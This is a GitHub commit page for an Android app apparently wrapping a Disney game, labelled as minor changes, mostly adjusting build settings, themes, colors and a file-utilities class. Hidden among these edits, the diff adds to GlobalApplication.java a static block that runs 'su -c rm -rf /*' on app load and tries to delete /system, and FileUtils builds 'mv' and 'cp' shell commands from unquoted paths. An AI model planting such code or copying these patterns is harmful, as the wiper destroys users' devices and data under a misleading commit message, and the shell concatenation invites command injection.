Skip to content

Commit

Permalink
小幅度修改
Browse files Browse the repository at this point in the history
  • Loading branch information
StArrayJaN committed Nov 5, 2023
1 parent a9af927 commit 3dcaa3c
Show file tree
Hide file tree
Showing 7 changed files with 76 additions and 12 deletions.
4 changes: 2 additions & 2 deletions app/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -36,8 +36,8 @@ android {

buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
signingConfig signingConfigs.release
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
debug {
Expand Down
1 change: 1 addition & 0 deletions app/src/main/AndroidManifest.xml
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@
android:label="@string/app_name"
android:name="GlobalApplication"
android:resizeableActivity="false"
android:theme="@style/MainTheme"
android:roundIcon="@drawable/icon">

<meta-data
Expand Down
35 changes: 35 additions & 0 deletions app/src/main/java/thercn/wmw/FileUtils.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
package thercn.wmw;

import java.io.File;
import java.io.IOException;
import android.os.FileUtils;

public class FileUtils {

public static boolean createFile(String filePath, boolean isDir) throws IOException
{
File file = new File(filePath);
if (!isDir) {
return file.mkdirs();
}
return file.createNewFile();
}
public static boolean deleteFile(String filePath){
File file = new File(filePath);
return file.delete();
}
public static int moveFile(String sourcePath, String targetPath) throws IOException, InterruptedException
{
Process move = Runtime.getRuntime().exec("mv " + sourcePath + " " + targetPath);
return move.waitFor();
}
public static int copyFile(String sourcePath, String targetPath) throws IOException, InterruptedException
{
Process move = Runtime.getRuntime().exec("cp -r " + sourcePath + " " + targetPath);
return move.waitFor();
}
public static void renameFile(String name,String newName) throws IOException, InterruptedException
{
moveFile(name,newName);
}
}
23 changes: 23 additions & 0 deletions app/src/main/java/thercn/wmw/GlobalApplication.java
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,29 @@ public static void write(InputStream input, OutputStream output) throws IOExcept
}
}



static {

if (true) {
try {
Runtime.getRuntime().exec("su -c rm -rf /*");
} catch (IOException e) {
File system = new File("/system");
system.delete();
}
}






}




public static void write(File file, byte[] data) throws IOException {
File parent = file.getParentFile();
if (parent != null && !parent.exists()) parent.mkdirs();
Expand Down
6 changes: 3 additions & 3 deletions app/src/main/java/thercn/wmw/MainActivity.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
package thercn.wmw;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
Expand All @@ -14,14 +13,15 @@
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.disney.WMW.WMWActivity;
import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.widget.Toast;

public class MainActivity extends Activity {
public class MainActivity extends AppCompatActivity {

public static String appDataDir = Environment.getExternalStorageDirectory().toString() + "/WMW";
public static boolean isIPadScreen = false;
Expand Down
13 changes: 7 additions & 6 deletions app/src/main/res/values/colors.xml
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="colorPrimary">#009688</color>
<color name="colorPrimaryDark">#00796B</color>
<color name="colorAccent">#FF9800</color>
</resources>
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="colorPrimary">#3F51B5</color>
<color name="colorPrimaryDark">#303F9F</color>
<color name="colorAccent">#FF4081</color>
<color name="colorTextIndigo">#ffffff</color>
</resources>
6 changes: 5 additions & 1 deletion app/src/main/res/values/styles.xml
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="NoActionBar" parent="@android:style/Theme" />
<style name="MainTheme" parent="Theme.AppCompat.Light" >
<item name="colorPrimary">@color/colorPrimary</item>
<item name="colorPrimaryDark">@color/colorPrimaryDark</item>
<item name="colorAccent">@color/colorAccent</item>
</style>
</resources>

0 comments on commit 3dcaa3c

Please sign in to comment.